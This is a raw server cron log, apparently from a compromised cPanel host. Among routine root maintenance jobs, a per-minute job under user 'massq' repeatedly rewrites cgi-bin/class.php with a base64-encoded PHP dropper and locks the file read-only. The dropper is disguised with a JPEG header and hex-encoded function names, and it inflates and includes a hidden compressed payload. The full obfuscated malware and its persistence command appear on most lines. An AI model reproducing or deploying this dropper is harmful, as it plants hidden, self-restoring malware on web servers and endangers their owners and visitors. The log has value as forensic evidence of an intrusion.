Nov 14 15:51:01 server CROND[10403]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:52:01 server CROND[11403]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:53:01 server CROND[12265]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:54:01 server CROND[13059]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:55:01 server CROND[14022]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 15:55:01 server CROND[14028]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:55:01 server CROND[14029]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 15:56:01 server CROND[14949]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:57:01 server CROND[15803]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 15:57:01 server CROND[15804]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:58:01 server CROND[16657]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 15:59:01 server CROND[17623]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:00:01 server CROND[18381]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 16:00:01 server CROND[18383]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 16:00:01 server CROND[18384]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 14 16:00:01 server CROND[18385]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 16:00:01 server CROND[18388]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:01:01 server CROND[19302]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:01:01 server CROND[19303]: (root) CMD (run-parts /etc/cron.hourly)
Nov 14 16:01:01 server run-parts(/etc/cron.hourly)[19303]: starting 0anacron
Nov 14 16:01:01 server run-parts(/etc/cron.hourly)[19315]: finished 0anacron
Nov 14 16:02:01 server CROND[19738]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:03:01 server CROND[20036]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
